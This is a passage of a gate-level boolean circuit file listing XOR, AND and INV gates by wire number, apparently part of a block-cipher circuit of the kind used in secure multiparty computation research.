+2 1 2936 2905 2906 XOR +2 1 2930 2882 2885 XOR +2 1 2905 2882 2881 XOR +2 1 2880 2881 34616 XOR +2 1 34616 1037 36905 XOR +2 1 2896 2924 2892 XOR +2 1 2925 2892 2895 XOR +2 1 2884 2885 2995 XOR +1 1 2995 34619 INV +2 1 34619 1034 36908 XOR +2 1 2944 2906 2911 XOR +2 1 2945 2911 2916 XOR +2 1 2910 2916 34618 XOR +2 1 2943 2911 2879 XOR +2 1 2878 2879 34617 XOR +2 1 34617 1036 36906 XOR +2 1 2916 2889 2996 XOR +1 1 2996 34620 INV +2 1 34620 1033 36909 XOR +2 1 2887 2892 2891 XOR +2 1 2890 2891 2997 XOR +1 1 2997 34615 INV +2 1 34615 1038 36904 XOR +2 1 2894 2895 2998 XOR +1 1 2998 34614 INV +2 1 34614 1039 36903 XOR +2 1 34618 1035 36907 XOR +2 1 2906 2877 34621 XOR +2 1 34621 1032 36910 XOR +2 1 27331 27334 27416 XOR +2 1 27416 27448 27403 AND +2 1 27416 27457 27394 AND +2 1 27399 27403 27375 XOR +1 1 27375 27353 INV +2 1 27353 27397 27352 XOR +2 1 27352 27390 27348 XOR +2 1 27396 27348 27351 XOR +2 1 27371 27348 27347 XOR +2 1 27405 27394 27354 XOR +2 1 27353 27358 27357 XOR +2 1 27356 27357 27463 XOR +1 1 27354 27350 INV +2 1 27350 27351 27461 XOR +1 1 27461 36405 INV +2 1 32838 36405 11677 XOR +2 1 32851 27461 11552 XOR +2 1 36415 27461 11493 XOR +2 1 11492 11493 36275 XOR +2 1 11551 11552 36292 XOR +2 1 36292 1257 34428 XOR +2 1 34422 34428 1925 XOR +2 1 34426 34428 1921 XOR +2 1 11677 11676 11541 XOR +2 1 32851 11541 36299 XOR +1 1 27463 33109 INV +2 1 11560 33109 11564 XOR +2 1 33109 36408 11666 XOR +2 1 11693 11666 36295 XOR +2 1 11688 11666 11556 XOR +2 1 11667 11666 11561 XOR +2 1 11556 11557 11555 XOR +1 1 11555 36271 INV +2 1 36271 1278 34407 XOR +2 1 34407 34409 1630 XOR +2 1 1630 1733 1725 XOR +2 1 34406 1725 1724 XOR +2 1 34413 34407 1734 XOR +2 1 11563 11564 11562 XOR +1 1 11562 36287 INV +2 1 36287 1262 34423 XOR +2 1 36295 1254 34431 XOR +2 1 34437 34431 2154 XOR +2 1 34431 34433 2058 XOR +2 1 2058 2153 2145 XOR +2 1 34430 2145 2144 XOR +2 1 11529 33109 11598 XOR +2 1 11598 11599 36280 XOR +2 1 36280 1269 34416 XOR +2 1 34421 34416 1872 XOR +2 1 36275 1274 34411 XOR +2 1 34411 1621 1731 XOR +2 1 34407 1731 1727 XOR +2 1 34411 34413 1629 XOR +2 1 1629 1621 1728 XOR +2 1 1627 34411 1668 XOR +2 1 1731 1727 1714 AND +2 1 1627 1629 1667 XOR +2 1 1630 1667 1723 XOR +2 1 11677 33077 11553 XOR +2 1 11553 11554 36291 XOR +2 1 36291 1258 34427 XOR +2 1 34427 1925 2011 XOR +2 1 34423 2011 2007 XOR +2 1 2011 2007 1994 AND +2 1 1921 34427 1880 XOR +2 1 34422 1880 2010 XOR +2 1 2010 34422 1996 AND +2 1 11677 11669 11567 XOR +2 1 32831 11567 36284 XOR +2 1 36284 1265 34420 XOR +2 1 34414 34420 1785 XOR +2 1 34419 1785 1871 XOR +2 1 1779 1785 1868 XOR +2 1 27346 27347 36402 XOR +2 1 36398 36402 11415 XOR +2 1 11414 11415 11694 XOR +2 1 36402 36409 11664 XOR +1 1 11664 11547 INV +2 1 11547 36398 11545 XOR +2 1 11545 11546 36296 XOR +2 1 36296 1253 34432 XOR +2 1 34437 34432 2152 XOR +2 1 34432 2058 2060 XOR +2 1 34436 2060 2142 XOR +2 1 2065 2060 2141 XOR +2 1 34433 34432 2035 XOR +2 1 34431 34432 2076 XOR +2 1 2153 2076 2149 XOR +2 1 2145 2149 2138 AND +2 1 11694 11679 36281 XOR +2 1 36281 1268 34417 XOR +2 1 34417 34416 1755 XOR +2 1 34432 34434 2155 XOR +2 1 11689 11547 11558 XOR +2 1 11558 11559 36289 XOR +2 1 36289 1260 34425 XOR +2 1 34423 34425 1918 XOR +2 1 2153 2142 2132 AND +2 1 2132 2060 2062 XOR +2 1 36402 11561 36288 XOR +2 1 36288 1261 34424 XOR +2 1 34424 1918 1920 XOR +2 1 1925 1920 2001 XOR +2 1 34427 1920 1999 XOR +2 1 34425 34424 1895 XOR +2 1 34423 34424 1936 XOR +2 1 34428 1920 2002 XOR +2 1 34424 34426 2015 XOR +2 1 34406 1668 1730 XOR +2 1 1730 34406 1716 AND +2 1 11687 11664 11540 XOR +2 1 36413 11540 36272 XOR +2 1 36272 1277 34408 XOR +2 1 34408 34410 1735 XOR +2 1 34408 1630 1628 XOR +2 1 1629 1735 1720 XOR +2 1 34409 34408 1653 XOR +2 1 34411 1628 1719 XOR +2 1 1735 1720 1711 AND +2 1 34407 34408 1606 XOR +2 1 1734 1719 1715 AND +2 1 1733 1606 1729 XOR +2 1 1725 1729 1718 AND +2 1 1715 1629 1624 XOR +2 1 1606 1728 1726 XOR +2 1 1726 1724 1717 AND +2 1 1711 1717 1615 XOR +2 1 1718 1627 1622 XOR +2 1 1621 1628 1721 XOR +2 1 1728 1721 1713 AND +2 1 34413 34408 1732 XOR +2 1 1732 1723 1710 AND +2 1 1710 1716 1619 XOR +2 1 1619 1629 1607 XOR +2 1 1615 1607 1706 XOR +2 1 1710 1713 1623 XOR +2 1 1624 1623 1651 XOR +2 1 1711 1623 1604 XOR +2 1 1714 1604 1655 XOR +2 1 34407 1655 1701 XOR +2 1 2138 2061 2064 XOR +2 1 2064 2062 2068 XOR +2 1 34437 2068 2074 XOR +2 1 34412 1628 1722 XOR +2 1 1733 1722 1712 AND +2 1 1711 1712 1654 XOR +2 1 1654 1653 1600 XOR +2 1 1600 1624 1601 XOR +2 1 1714 1601 1708 XOR +2 1 1712 1628 1626 XOR +2 1 1651 1626 1707 XOR +2 1 1622 1626 1617 XOR +2 1 34413 1617 1608 XOR +2 1 1617 1619 1652 XOR +2 1 34411 1652 1602 XOR +2 1 1615 1608 1709 XOR +2 1 1709 1708 1705 AND +2 1 1705 1707 1704 XOR +2 1 1705 1602 1700 XOR +2 1 1700 1701 1699 AND +2 1 1699 1716 1657 XOR +2 1 1705 1699 1697 XOR +2 1 1707 1697 1696 AND +2 1 1696 1704 1694 XOR +2 1 1657 1713 1662 XOR +2 1 1699 1604 1656 XOR +2 1 1696 1714 1616 XOR +2 1 34407 1616 1613 XOR +2 1 1613 1656 1695 XOR +2 1 1695 1724 1685 AND +2 1 1706 1704 1703 AND +2 1 1703 1608 1663 XOR +2 1 1703 1602 1702 XOR +2 1 1703 1715 1660 XOR +2 1 1702 1728 1672 AND +2 1 1695 1726 1676 AND +2 1 1702 1694 1693 AND +2 1 1693 1615 1609 XOR +2 1 1609 1607 1692 XOR +2 1 1692 1731 1682 AND +2 1 1693 1717 1658 XOR +2 1 1613 1658 1666 XOR +2 1 1629 1666 1659 XOR +2 1 1662 1659 1691 XOR +2 1 1691 1732 1669 AND +2 1 1691 1723 1678 AND +2 1 1702 1721 1681 AND +2 1 1681 1682 1649 XOR +2 1 1616 1601 1688 XOR +2 1 1688 1729 1677 AND +2 1 1688 1725 1686 AND +2 1 1692 1727 1673 AND +2 1 1681 1673 1631 XOR +2 1 1660 1622 1664 XOR +2 1 34413 1664 1661 XOR +2 1 1662 1661 1690 XOR +2 1 1690 1733 1671 AND +2 1 34411 1664 1665 XOR +2 1 1666 1665 1687 XOR +2 1 1687 1720 1679 AND +2 1 1690 1722 1680 AND +2 1 1679 1680 1638 XOR +2 1 1687 1735 1670 AND +2 1 1670 1671 1625 XOR +2 1 1631 1625 1635 XOR +2 1 1676 1625 1620 XOR +2 1 1677 1620 1618 XOR +2 1 1685 1618 1610 XOR +2 1 1686 1610 1605 XOR +2 1 1605 1638 1737 XOR +1 1 1737 34540 INV +2 1 34540 1049 36893 XOR +2 1 1609 1663 1689 XOR +2 1 1689 1719 1683 AND +2 1 1689 1734 1674 AND +2 1 1683 1674 1633 XOR +2 1 1674 1678 1612 XOR +1 1 1612 1640 INV +2 1 1640 1635 1636 XOR +2 1 1640 1672 1641 XOR +2 1 1682 1683 1611 XOR +2 1 1679 1611 1603 XOR +2 1 1611 1605 34538 XOR +2 1 34538 1051 36891 XOR +2 1 1680 1603 1650 XOR +2 1 1618 1650 34541 XOR +2 1 34541 1048 36894 XOR +2 1 1699 1707 1698 XOR +2 1 1698 1730 1675 AND +2 1 1675 1603 1644 XOR +2 1 1680 1669 1639 XOR +1 1 1639 1643 INV +1 1 1644 1647 INV +2 1 1698 34406 1684 AND +2 1 1684 1610 1648 XOR +2 1 1684 1686 1614 XOR +2 1 1641 1614 1645 XOR +2 1 1620 1645 1646 XOR +2 1 1647 1646 34536 XOR +2 1 34536 1053 36889 XOR +2 1 1671 1645 1642 XOR +2 1 1643 1642 1736 XOR +1 1 1736 34539 INV +2 1 34539 1050 36892 XOR +2 1 1614 1635 1632 XOR +2 1 1633 1632 1739 XOR +1 1 1739 34534 INV +2 1 34534 1055 36887 XOR +2 1 1649 1648 34537 XOR +2 1 34537 1052 36890 XOR +2 1 1679 1682 1634 XOR +1 1 1634 1637 INV +2 1 1637 1636 1738 XOR +1 1 1738 34535 INV +2 1 34535 1054 36888 XOR +2 1 36299 1250 34435 XOR +2 1 34435 2060 2139 XOR +2 1 2154 2139 2135 AND +2 1 2061 34435 2020 XOR +2 1 34430 2020 2150 XOR +2 1 2150 34430 2136 AND +2 1 34435 2065 2151 XOR +2 1 34431 2151 2147 XOR +2 1 34435 34437 2059 XOR +2 1 2061 2059 2021 XOR +2 1 2059 2155 2140 XOR +2 1 2155 2140 2131 AND +2 1 2059 2065 2148 XOR +2 1 2148 2141 2133 AND +2 1 2076 2148 2146 XOR +2 1 2058 2021 2143 XOR +2 1 2152 2143 2130 AND +2 1 2130 2133 2084 XOR +2 1 2131 2084 2078 XOR +2 1 2130 2136 2088 XOR +2 1 2088 2059 2075 XOR +2 1 2068 2088 2036 XOR +2 1 34435 2036 2080 XOR +2 1 2151 2147 2134 AND +2 1 2134 2078 2033 XOR +2 1 34431 2033 2121 XOR +2 1 2146 2144 2137 AND +2 1 2131 2137 2083 XOR +2 1 2083 2074 2129 XOR +2 1 2083 2075 2126 XOR +2 1 2135 2059 2063 XOR +2 1 2063 2084 2037 XOR +2 1 2131 2132 2034 XOR +2 1 2034 2035 2082 XOR +2 1 2082 2063 2081 XOR +2 1 2134 2081 2128 XOR +2 1 2129 2128 2125 AND +2 1 2125 2080 2120 XOR +2 1 2120 2121 2119 AND +2 1 2119 2136 2031 XOR +2 1 2119 2078 2032 XOR +2 1 2125 2119 2117 XOR +2 1 2031 2133 2026 XOR +2 1 2037 2062 2127 XOR +2 1 2119 2127 2118 XOR +2 1 2118 34430 2104 AND +2 1 2125 2127 2124 XOR +2 1 2127 2117 2116 AND +2 1 2116 2124 2114 XOR +2 1 2118 2150 2095 AND +2 1 2126 2124 2123 AND +2 1 2123 2080 2122 XOR +2 1 2122 2114 2113 AND +2 1 2122 2148 2092 AND +2 1 2122 2141 2101 AND +2 1 2123 2135 2028 XOR +2 1 2028 2064 2024 XOR +2 1 34435 2024 2023 XOR +2 1 34437 2024 2027 XOR +2 1 2113 2083 2073 XOR +2 1 2073 2075 2112 XOR +2 1 2112 2147 2093 AND +2 1 2101 2093 2057 XOR +2 1 2112 2151 2102 AND +2 1 2101 2102 2039 XOR +2 1 2026 2027 2110 XOR +2 1 2110 2142 2100 AND +2 1 2110 2153 2091 AND +2 1 2123 2074 2025 XOR +2 1 2073 2025 2109 XOR +2 1 2109 2154 2094 AND +2 1 2109 2139 2103 AND +2 1 2103 2094 2055 XOR +2 1 2102 2103 2071 XOR +2 1 2116 2134 2087 XOR +2 1 34431 2087 2069 XOR +2 1 2069 2032 2115 XOR +2 1 2115 2144 2105 AND +2 1 2115 2146 2096 AND +2 1 2087 2081 2108 XOR +2 1 2108 2149 2097 AND +2 1 2108 2145 2106 AND +2 1 2104 2106 2086 XOR +2 1 2113 2137 2030 XOR +2 1 2069 2030 2022 XOR +2 1 2059 2022 2029 XOR +2 1 2026 2029 2111 XOR +2 1 2111 2143 2098 AND +2 1 2111 2152 2089 AND +2 1 2094 2098 2070 XOR +1 1 2070 2048 INV +2 1 2048 2092 2047 XOR +2 1 2047 2086 2043 XOR +2 1 2091 2043 2046 XOR +2 1 2100 2089 2049 XOR +1 1 2049 2045 INV +2 1 2045 2046 2156 XOR +1 1 2156 34563 INV +2 1 34563 1122 36820 XOR +2 1 2022 2023 2107 XOR +2 1 2107 2140 2099 AND +2 1 2099 2071 2079 XOR +2 1 2095 2079 2044 XOR +1 1 2044 2041 INV +2 1 2099 2100 2050 XOR +2 1 2100 2079 2038 XOR +2 1 2099 2102 2054 XOR +1 1 2054 2051 INV +2 1 2107 2155 2090 AND +2 1 2090 2091 2085 XOR +2 1 2057 2085 2053 XOR +2 1 2048 2053 2052 XOR +2 1 2051 2052 2158 XOR +1 1 2158 34559 INV +2 1 34559 1126 36816 XOR +2 1 2086 2053 2056 XOR +2 1 2055 2056 2159 XOR +1 1 2159 34558 INV +2 1 34558 1127 36815 XOR +2 1 2096 2085 2066 XOR +2 1 2066 2043 2042 XOR +2 1 2097 2066 2067 XOR +2 1 2067 2038 34565 XOR +2 1 34565 1120 36822 XOR +2 1 2105 2067 2072 XOR +2 1 2106 2072 2077 XOR +2 1 2071 2077 34562 XOR +2 1 34562 1123 36819 XOR +2 1 2104 2072 2040 XOR +2 1 2039 2040 34561 XOR +2 1 34561 1124 36818 XOR +2 1 2041 2042 34560 XOR +2 1 34560 1125 36817 XOR +2 1 2077 2050 2157 XOR +1 1 2157 34564 INV +2 1 34564 1121 36821 XOR +2 1 36438 11457 36349 XOR +2 1 36349 1200 34485 XOR +2 1 34482 34485 2852 XOR +2 1 2758 2852 2844 XOR +2 1 34485 34480 2851 XOR +2 1 34483 34485 2759 XOR +2 1 34485 34479 2853 XOR +2 1 2853 2838 2834 AND +2 1 2834 2759 2763 XOR +2 1 2852 2841 2831 AND +2 1 2831 2760 2762 XOR +2 1 2759 2765 2847 XOR +2 1 2847 2840 2832 AND +2 1 34478 2844 2843 XOR +2 1 2852 2775 2848 XOR +2 1 2759 2854 2839 XOR +2 1 2854 2839 2830 AND +2 1 2830 2831 2734 XOR +2 1 2734 2735 2781 XOR +2 1 2781 2763 2780 XOR +2 1 2844 2848 2837 AND +2 1 2837 2761 2764 XOR +2 1 2764 2762 2768 XOR +2 1 34485 2768 2773 XOR +2 1 2775 2847 2845 XOR +2 1 2845 2843 2836 AND +2 1 2830 2836 2782 XOR +2 1 2782 2773 2828 XOR +2 1 2761 2759 2721 XOR +2 1 2758 2721 2842 XOR +2 1 2851 2842 2829 AND +2 1 2829 2832 2783 XOR +2 1 2763 2783 2737 XOR +2 1 2737 2762 2826 XOR +2 1 2830 2783 2777 XOR +2 1 2833 2777 2733 XOR +2 1 34479 2733 2820 XOR +2 1 2829 2835 2787 XOR +2 1 2787 2759 2774 XOR +2 1 2782 2774 2825 XOR +2 1 2768 2787 2736 XOR +2 1 34483 2736 2779 XOR +2 1 2833 2780 2827 XOR +2 1 2828 2827 2824 AND +2 1 2824 2779 2819 XOR +2 1 2819 2820 2818 AND +2 1 2818 2826 2817 XOR +2 1 2817 34478 2803 AND +2 1 2824 2818 2816 XOR +2 1 2826 2816 2815 AND +2 1 2815 2833 2786 XOR +2 1 2786 2780 2807 XOR +2 1 2807 2844 2805 AND +2 1 2803 2805 2785 XOR +2 1 2807 2848 2796 AND +2 1 2818 2777 2732 XOR +2 1 2817 2849 2794 AND +2 1 34479 2786 2769 XOR +2 1 2769 2732 2814 XOR +2 1 2814 2845 2795 AND +2 1 2814 2843 2804 AND +2 1 2818 2835 2731 XOR +2 1 2731 2832 2726 XOR +2 1 2824 2826 2823 XOR +2 1 2825 2823 2822 AND +2 1 2822 2834 2728 XOR +2 1 2728 2764 2724 XOR +2 1 34485 2724 2727 XOR +2 1 2726 2727 2809 XOR +2 1 2809 2852 2790 AND +2 1 34483 2724 2723 XOR +2 1 2809 2841 2799 AND +2 1 2822 2773 2725 XOR +2 1 2815 2823 2813 XOR +2 1 2822 2779 2821 XOR +2 1 2821 2840 2800 AND +2 1 2821 2813 2812 AND +2 1 2812 2836 2730 XOR +2 1 2812 2782 2772 XOR +2 1 2772 2774 2811 XOR +2 1 2811 2850 2801 AND +2 1 2800 2801 2739 XOR +2 1 2772 2725 2808 XOR +2 1 2808 2853 2793 AND +2 1 2808 2838 2802 AND +2 1 2801 2802 32639 XOR +2 1 2821 2847 2791 AND +2 1 2811 2846 2792 AND +2 1 2769 2730 2722 XOR +2 1 2722 2723 2806 XOR +2 1 2806 2854 2789 AND +2 1 2806 2839 2798 AND +2 1 2798 32639 2778 XOR +2 1 2798 2799 2750 XOR +2 1 2799 2778 2738 XOR +2 1 2794 2778 2744 XOR +1 1 2744 2741 INV +2 1 2759 2722 2729 XOR +2 1 2798 2801 2754 XOR +1 1 2754 2751 INV +2 1 2789 2790 2784 XOR +2 1 2795 2784 2766 XOR +2 1 2796 2766 2767 XOR +2 1 2767 2738 34613 XOR +2 1 34613 1136 36806 XOR +2 1 2804 2767 2771 XOR +2 1 2805 2771 2776 XOR +2 1 2776 2750 2856 XOR +2 1 2803 2771 2740 XOR +2 1 2739 2740 34609 XOR +2 1 34609 1140 36802 XOR +1 1 2856 34612 INV +2 1 34612 1137 36805 XOR +2 1 32639 2776 34610 XOR +2 1 34610 1139 36803 XOR +2 1 2726 2729 2810 XOR +2 1 2810 2842 2797 AND +2 1 2793 2797 2770 XOR +2 1 2810 2851 2788 AND +2 1 2799 2788 2749 XOR +1 1 2749 2745 INV +1 1 2770 2748 INV +2 1 2748 2791 2747 XOR +2 1 2747 2785 2743 XOR +2 1 2766 2743 2742 XOR +2 1 2790 2743 2746 XOR +2 1 2741 2742 34608 XOR +2 1 2745 2746 2855 XOR +1 1 2855 34611 INV +2 1 34611 1138 36804 XOR +2 1 2802 2793 2755 XOR +2 1 2800 2792 2757 XOR +2 1 2757 2784 2753 XOR +2 1 2748 2753 2752 XOR +2 1 2751 2752 2857 XOR +1 1 2857 34607 INV +2 1 34607 1142 36800 XOR +2 1 2785 2753 2756 XOR +2 1 2755 2756 2858 XOR +1 1 2858 34606 INV +2 1 34606 1143 36799 XOR +2 1 10754 10716 10720 XOR +2 1 10755 10720 10725 XOR +2 1 10725 10699 10806 XOR +2 1 10753 10720 10689 XOR +2 1 10688 10689 36432 XOR +2 1 11631 36432 11381 XOR +2 1 36428 36432 11647 XOR +2 1 11509 11647 11519 XOR +2 1 11709 11647 36305 XOR +2 1 11491 11647 11488 XOR +2 1 36305 1244 34441 XOR +2 1 11629 36432 11389 XOR +2 1 11389 11390 11704 XOR +2 1 11704 11654 36321 XOR +2 1 36321 1228 34457 XOR +2 1 34439 34441 2198 XOR +2 1 34441 34440 2175 XOR +2 1 34440 2198 2200 XOR +2 1 10737 10725 36433 XOR +2 1 36429 36433 11642 XOR +2 1 11646 11642 11487 XOR +2 1 11381 11382 11708 XOR +2 1 11708 11642 36306 XOR +2 1 36306 1243 34442 XOR +2 1 34440 34442 2295 XOR +2 1 33076 11487 36331 XOR +2 1 36331 1218 34467 XOR +2 1 34455 34457 2478 XOR +2 1 11637 36433 11533 XOR +2 1 11533 11534 36307 XOR +2 1 36307 1242 34443 XOR +2 1 34443 2200 2279 XOR +1 1 10806 32839 INV +2 1 11622 32839 11484 XOR +2 1 11484 11485 36333 XOR +2 1 36333 1216 34469 XOR +2 1 34469 34464 2712 XOR +2 1 11639 32839 11531 XOR +2 1 11531 11532 36308 XOR +2 1 36308 1241 34444 XOR +2 1 34444 2200 2282 XOR +2 1 34438 34444 2205 XOR +2 1 2205 2200 2281 XOR +2 1 34443 2205 2291 XOR +2 1 34442 34444 2201 XOR +2 1 34439 2291 2287 XOR +2 1 2291 2287 2274 AND +2 1 2201 34443 2160 XOR +2 1 34438 2160 2290 XOR +2 1 2290 34438 2276 AND +2 1 34457 34456 2455 XOR +2 1 11393 36433 11391 XOR +2 1 11518 11642 11515 XOR +2 1 11515 11516 36314 XOR +2 1 36314 1235 34450 XOR +2 1 34448 34450 2435 XOR +2 1 2339 2435 2420 XOR +2 1 2435 2420 2411 AND +2 1 34450 34453 2433 XOR +2 1 2433 2356 2429 XOR +2 1 11519 11520 36313 XOR +2 1 36313 1236 34449 XOR +2 1 34447 34449 2338 XOR +2 1 2338 2433 2425 XOR +2 1 34446 2425 2424 XOR +2 1 2425 2429 2418 AND +2 1 34448 2338 2340 XOR +2 1 34451 2340 2419 XOR +2 1 34449 34448 2315 XOR +2 1 2434 2419 2415 AND +2 1 2415 2339 2343 XOR +2 1 34469 34463 2714 XOR +2 1 32843 32839 11640 XOR +2 1 11640 11621 11530 XOR +2 1 36426 11530 36309 XOR +2 1 11646 11640 11513 XOR +2 1 11640 33076 11502 XOR +2 1 11502 11503 36324 XOR +2 1 36324 1225 34460 XOR +2 1 34454 34460 2485 XOR +2 1 34459 2485 2571 XOR +2 1 34455 2571 2567 XOR +2 1 33069 11513 36316 XOR +2 1 36316 1233 34452 XOR +2 1 34450 34452 2341 XOR +2 1 34452 2340 2422 XOR +2 1 2571 2567 2554 AND +2 1 2341 34451 2300 XOR +2 1 2418 2341 2344 XOR +2 1 34446 34452 2345 XOR +2 1 2345 2340 2421 XOR +2 1 2339 2345 2428 XOR +2 1 2428 2421 2413 AND +2 1 34451 2345 2431 XOR +2 1 34447 2431 2427 XOR +2 1 2431 2427 2414 AND +2 1 2356 2428 2426 XOR +2 1 2341 2339 2301 XOR +2 1 2338 2301 2423 XOR +2 1 34446 2300 2430 XOR +2 1 2430 34446 2416 AND +2 1 2426 2424 2417 AND +2 1 2411 2417 2363 XOR +2 1 2433 2422 2412 AND +2 1 2411 2412 2314 XOR +2 1 2412 2340 2342 XOR +2 1 2344 2342 2348 XOR +2 1 34453 2348 2354 XOR +2 1 2363 2354 2409 XOR +2 1 2314 2315 2362 XOR +2 1 2362 2343 2361 XOR +2 1 2414 2361 2408 XOR +2 1 2409 2408 2405 AND +2 1 2432 2423 2410 AND +2 1 2410 2416 2368 XOR +2 1 2368 2339 2355 XOR +2 1 2363 2355 2406 XOR +2 1 2348 2368 2316 XOR +2 1 34451 2316 2360 XOR +2 1 2405 2360 2400 XOR +2 1 2410 2413 2364 XOR +2 1 2411 2364 2358 XOR +2 1 2343 2364 2317 XOR +2 1 2317 2342 2407 XOR +2 1 2405 2407 2404 XOR +2 1 2406 2404 2403 AND +2 1 2403 2360 2402 XOR +2 1 2403 2415 2308 XOR +2 1 2308 2344 2304 XOR +2 1 34453 2304 2307 XOR +2 1 2402 2421 2381 AND +2 1 2403 2354 2305 XOR +2 1 2414 2358 2313 XOR +2 1 34447 2313 2401 XOR +2 1 2400 2401 2399 AND +2 1 2399 2358 2312 XOR +2 1 2399 2407 2398 XOR +2 1 2398 2430 2375 AND +2 1 2405 2399 2397 XOR +2 1 2407 2397 2396 AND +2 1 2396 2414 2367 XOR +2 1 2367 2361 2388 XOR +2 1 2388 2429 2377 AND +2 1 2388 2425 2386 AND +2 1 34447 2367 2349 XOR +2 1 2398 34446 2384 AND +2 1 2384 2386 2366 XOR +2 1 2396 2404 2394 XOR +2 1 2402 2394 2393 AND +2 1 2393 2363 2353 XOR +2 1 2353 2355 2392 XOR +2 1 2392 2427 2373 AND +2 1 2381 2373 2337 XOR +2 1 2392 2431 2382 AND +2 1 2381 2382 2319 XOR +2 1 2349 2312 2395 XOR +2 1 2395 2424 2385 AND +2 1 2399 2416 2311 XOR +2 1 2311 2413 2306 XOR +2 1 2306 2307 2390 XOR +2 1 2390 2422 2380 AND +2 1 2390 2433 2371 AND +2 1 2393 2417 2310 XOR +2 1 2349 2310 2302 XOR +2 1 2339 2302 2309 XOR +2 1 2306 2309 2391 XOR +2 1 2391 2432 2369 AND +2 1 2391 2423 2378 AND +2 1 2380 2369 2329 XOR +1 1 2329 2325 INV +2 1 2353 2305 2389 XOR +2 1 2389 2434 2374 AND +2 1 2374 2378 2350 XOR +2 1 2389 2419 2383 AND +2 1 2383 2374 2335 XOR +1 1 2350 2328 INV +2 1 2382 2383 2351 XOR +2 1 34451 2304 2303 XOR +2 1 2302 2303 2387 XOR +2 1 2387 2420 2379 AND +2 1 2379 2380 2330 XOR +2 1 2387 2435 2370 AND +2 1 2379 2351 2359 XOR +2 1 2375 2359 2324 XOR +2 1 2380 2359 2318 XOR +1 1 2324 2321 INV +2 1 2379 2382 2334 XOR +1 1 2334 2331 INV +2 1 2370 2371 2365 XOR +2 1 2337 2365 2333 XOR +2 1 2366 2333 2336 XOR +2 1 2335 2336 2439 XOR +2 1 2328 2333 2332 XOR +2 1 2331 2332 2438 XOR +2 1 2395 2426 2376 AND +2 1 2376 2365 2346 XOR +2 1 2377 2346 2347 XOR +2 1 2385 2347 2352 XOR +2 1 2386 2352 2357 XOR +2 1 2357 2330 2437 XOR +2 1 2347 2318 34581 XOR +2 1 2351 2357 34578 XOR +2 1 34578 1043 36899 XOR +2 1 2384 2352 2320 XOR +2 1 2319 2320 34577 XOR +2 1 34577 1044 36898 XOR +1 1 2437 34580 INV +2 1 34580 1041 36901 XOR +2 1 34581 1040 36902 XOR +1 1 2439 34574 INV +2 1 36309 1240 34445 XOR +2 1 34442 34445 2293 XOR +2 1 2198 2293 2285 XOR +2 1 34438 2285 2284 XOR +2 1 2293 2216 2289 XOR +2 1 34445 34439 2294 XOR +2 1 34445 34440 2292 XOR +2 1 2294 2279 2275 AND +2 1 2293 2282 2272 AND +2 1 34443 34445 2199 XOR +2 1 2199 2205 2288 XOR +2 1 2199 2295 2280 XOR +2 1 2216 2288 2286 XOR +2 1 2286 2284 2277 AND +2 1 2272 2200 2202 XOR +2 1 2275 2199 2203 XOR +2 1 2201 2199 2161 XOR +2 1 2198 2161 2283 XOR +2 1 2292 2283 2270 AND +2 1 2270 2276 2228 XOR +2 1 2228 2199 2215 XOR +2 1 2285 2289 2278 AND +2 1 2278 2201 2204 XOR +2 1 2204 2202 2208 XOR +2 1 2208 2228 2176 XOR +2 1 34443 2176 2220 XOR +2 1 34445 2208 2214 XOR +2 1 2288 2281 2273 AND +2 1 2270 2273 2224 XOR +2 1 2203 2224 2177 XOR +2 1 2177 2202 2267 XOR +2 1 2295 2280 2271 AND +2 1 2271 2224 2218 XOR +2 1 2271 2272 2174 XOR +2 1 2174 2175 2222 XOR +2 1 2222 2203 2221 XOR +2 1 2274 2221 2268 XOR +2 1 2274 2218 2173 XOR +2 1 34439 2173 2261 XOR +2 1 2271 2277 2223 XOR +2 1 2223 2215 2266 XOR +2 1 2223 2214 2269 XOR +2 1 2269 2268 2265 AND +2 1 2265 2267 2264 XOR +2 1 2266 2264 2263 AND +2 1 2265 2220 2260 XOR +2 1 2260 2261 2259 AND +2 1 2259 2276 2171 XOR +2 1 2259 2267 2258 XOR +2 1 2265 2259 2257 XOR +2 1 2171 2273 2166 XOR +2 1 2267 2257 2256 AND +2 1 2256 2274 2227 XOR +2 1 2256 2264 2254 XOR +2 1 34439 2227 2209 XOR +2 1 2227 2221 2248 XOR +2 1 2248 2285 2246 AND +2 1 2263 2220 2262 XOR +2 1 2262 2254 2253 AND +2 1 2253 2223 2213 XOR +2 1 2213 2215 2252 XOR +2 1 2262 2281 2241 AND +2 1 2263 2214 2165 XOR +2 1 2248 2289 2237 AND +2 1 2213 2165 2249 XOR +2 1 2249 2294 2234 AND +2 1 2263 2275 2168 XOR +2 1 2252 2287 2233 AND +2 1 2262 2288 2232 AND +2 1 2241 2233 2197 XOR +2 1 2259 2218 2172 XOR +2 1 2209 2172 2255 XOR +2 1 2255 2284 2245 AND +2 1 2255 2286 2236 AND +2 1 2253 2277 2170 XOR +2 1 2209 2170 2162 XOR +2 1 2199 2162 2169 XOR +2 1 2166 2169 2251 XOR +2 1 2251 2283 2238 AND +2 1 2251 2292 2229 AND +2 1 2234 2238 2210 XOR +1 1 2210 2188 INV +2 1 2188 2232 2187 XOR +2 1 2168 2204 2164 XOR +2 1 34445 2164 2167 XOR +2 1 2166 2167 2250 XOR +2 1 2250 2282 2240 AND +2 1 2240 2229 2189 XOR +1 1 2189 2185 INV +2 1 34443 2164 2163 XOR +2 1 2162 2163 2247 XOR +2 1 2247 2280 2239 AND +2 1 2239 2240 2190 XOR +2 1 2247 2295 2230 AND +2 1 2250 2293 2231 AND +2 1 2230 2231 2225 XOR +2 1 2236 2225 2206 XOR +2 1 2237 2206 2207 XOR +2 1 2245 2207 2212 XOR +2 1 2246 2212 2217 XOR +2 1 2217 2190 2297 XOR +2 1 2197 2225 2193 XOR +2 1 2188 2193 2192 XOR +1 1 2297 34572 INV +2 1 34572 1145 36797 XOR +2 1 2252 2291 2242 AND +2 1 2241 2242 2179 XOR +2 1 2239 2242 2194 XOR +1 1 2194 2191 INV +2 1 2191 2192 2298 XOR +1 1 2298 34567 INV +2 1 2258 34438 2244 AND +2 1 2244 2246 2226 XOR +2 1 2226 2193 2196 XOR +2 1 2244 2212 2180 XOR +2 1 2179 2180 34569 XOR +2 1 34569 1148 36794 XOR +2 1 2187 2226 2183 XOR +2 1 2206 2183 2182 XOR +2 1 2231 2183 2186 XOR +2 1 2185 2186 2296 XOR +1 1 2296 34571 INV +2 1 34571 1146 36796 XOR +2 1 34567 1150 36792 XOR +2 1 34467 34469 2619 XOR +2 1 2402 2428 2372 AND +2 1 2328 2372 2327 XOR +2 1 2327 2366 2323 XOR +2 1 2346 2323 2322 XOR +2 1 2321 2322 34576 XOR +2 1 34576 1045 36897 XOR 